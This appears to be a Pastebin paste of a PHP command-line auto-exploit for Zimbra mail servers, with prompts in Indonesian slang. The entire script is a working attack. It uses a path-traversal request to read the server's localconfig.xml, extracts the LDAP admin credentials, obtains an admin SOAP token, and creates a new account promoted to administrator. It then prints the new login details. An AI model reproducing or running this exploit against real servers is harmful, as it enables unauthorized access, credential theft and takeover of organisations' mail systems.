Advertisement
Guest User

Zimbra Exploit PHP CLI Model

a guest
Jul 2nd, 2016
530
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.68 KB | None | 0 0
  1. #!/usr/local/bin/php
  2. <?php
  3. // Created by Tu5b0l3d - IndoXploit
  4. // big thx to: duardo Rubina H.
  5. // http://indoxploit.blogspot.co.id/2015/12/auto-exploiter-zimbra-php.html
  6. // Cuman di-recode dikit om ama fyelix
  7.  
  8. error_reporting(0);
  9. fwrite(STDOUT, "Masukin url nya tong :");
  10. $url = filter_var(fgets(STDIN), FILTER_SANITIZE_URL);
  11. if(isset($url) && !filter_var($url, FILTER_VALIDATE_URL) === FALSE){
  12. fwrite(STDOUT, "Masukin nama user barunya tong :");
  13. }else{
  14. echo "Invalid URL ! Please use ex: http://victimurl.com\n";
  15. exit(0);
  16. }
  17. $newuser = trim(fgets(STDIN));
  18. if(isset($url) && isset($newuser) && strlen($newuser) > 5){
  19. fwrite(STDOUT, "Masukin password user barunya tong :");
  20. }else{
  21. echo "Minimal ga kurang lima tong biar nyaman < 5\n";
  22. exit(0);
  23. }
  24. $newpass = trim(fgets(STDIN));
  25. if(isset($url) && isset($newuser) && isset($newpass) && strlen($newpass) > 5){
  26. checknow($url,$newuser,$newpass);
  27. }else{
  28. echo "Ada masalah tong pas mau exploit nya :v\n";
  29. exit(0);
  30. }
  31. function ngecek($url,$post){
  32.                     $ch = curl_init ("$url");
  33. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  34. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  35. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  36. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  37. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  38. curl_setopt ($ch, CURLOPT_POST, 1);
  39. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  40. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  41. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  42. $data2 = curl_exec ($ch);
  43. return $data2;
  44. }
  45.  
  46. function nganu_body($toket,$req){
  47. $body = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>$toket</authToken></context></soap:Header><soap:Body>$req</soap:Body></soap:Envelope>";
  48. return $body;
  49. }
  50. function checknow($target,$newuser,$newpass){
  51.         if($target==""){
  52.             echo "\nPlease input victim site !!\n\n";
  53.             exit();
  54.         }
  55.         else{
  56.         $user_baru = $newuser;
  57.         $pwd_baru = $newpass;
  58.         $lfi = "res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
  59.         $link_lfi = "$target/$lfi";
  60.         echo "# $target\n";
  61.                    $ch2 = curl_init ("$link_lfi");
  62.                    curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  63.                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  64.                    curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  65.                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  66.                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  67.                    curl_setopt ($ch2, CURLOPT_ENCODING, "gzip");
  68.                    curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  69.                    curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  70.                     $ambil = curl_exec ($ch2);
  71.  
  72.                     $get_user = explode('<key"]="name=\"zimbra_user\">', $ambil);
  73.                     preg_match('/a\["<value>(.*?)<\/value>/', $get_user[1], $user);
  74.                    
  75.                     $get_pwd = explode('<key"]="name=\"zimbra_ldap_password\">', $ambil);
  76.                     preg_match('/a\["<value>(.*?)<\/value>/', $get_pwd[1], $pwd);
  77.                    if($user[1] or $pwd[1] != ""){
  78.                     echo "# Pulen nih...\n";
  79.  
  80.                     $body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
  81.                    <env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">$user[1]</account><password>$pwd[1]</password></ns1:AuthRequest></env:Body></env:Envelope>";
  82.  
  83.                     $link = "https://$target:7071/service/admin/soap";
  84.                     $token = ngecek($link,$body);
  85.                    
  86.                 preg_match('/<authToken>(.*)<\/authToken>/', $token, $toket);
  87.                    
  88.                     if($toket[1]==""){
  89.                         echo "# gagal ngambil toket\n\n";
  90.                         break;
  91.                     }
  92.                     else{
  93.  
  94.                         echo "# $toket[1]\n";
  95.                     $req = @("<GetAllDomainsRequest xmlns=\"urn:zimbraAdmin\"></GetAllDomainsRequest>");
  96.                     $body2 = nganu_body($toket[1],$req);
  97.  
  98.                     $liat = ngecek($link,$body2);
  99.                     preg_match('/<a n=\"zimbraDomainName\">(.*?)<\/a>/', $liat, $domain);
  100.                     echo "# Creating Account...\n";
  101.                     $req2 = "<CreateAccountRequest xmlns=\"urn:zimbraAdmin\"><name>$user_baru@$domain[1]</name><password>$pwd_baru</password></CreateAccountRequest>";
  102.                     $body3 = nganu_body($toket[1],$req2);
  103.  
  104.                     $liat2 = ngecek($link,$body3);
  105.                
  106.                     preg_match('/account id="(.*)" name="/', $liat2, $new);
  107.                     $req3 = "<ModifyAccountRequest xmlns=\"urn:zimbraAdmin\"><id>$new[1]</id><a n=\"zimbraIsAdminAccount\">TRUE</a></ModifyAccountRequest>";
  108.                     $body4 = nganu_body($toket[1],$req3);
  109.  
  110.                     $liat3 = ngecek($link,$body4);
  111.                
  112.                    
  113.                     echo "# Sukses\n";
  114.                     echo "# Login Url: https://$target:7071/zimbraAdmin/\n# Account: $user_baru@$domain[1]\n# Password: $pwd_baru\n\n";
  115.  
  116.                
  117.                
  118.                    }
  119.                }
  120.                    else{
  121.                     echo "# Not Vuln Site\n";
  122.                    }
  123.                }
  124. }
  125. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement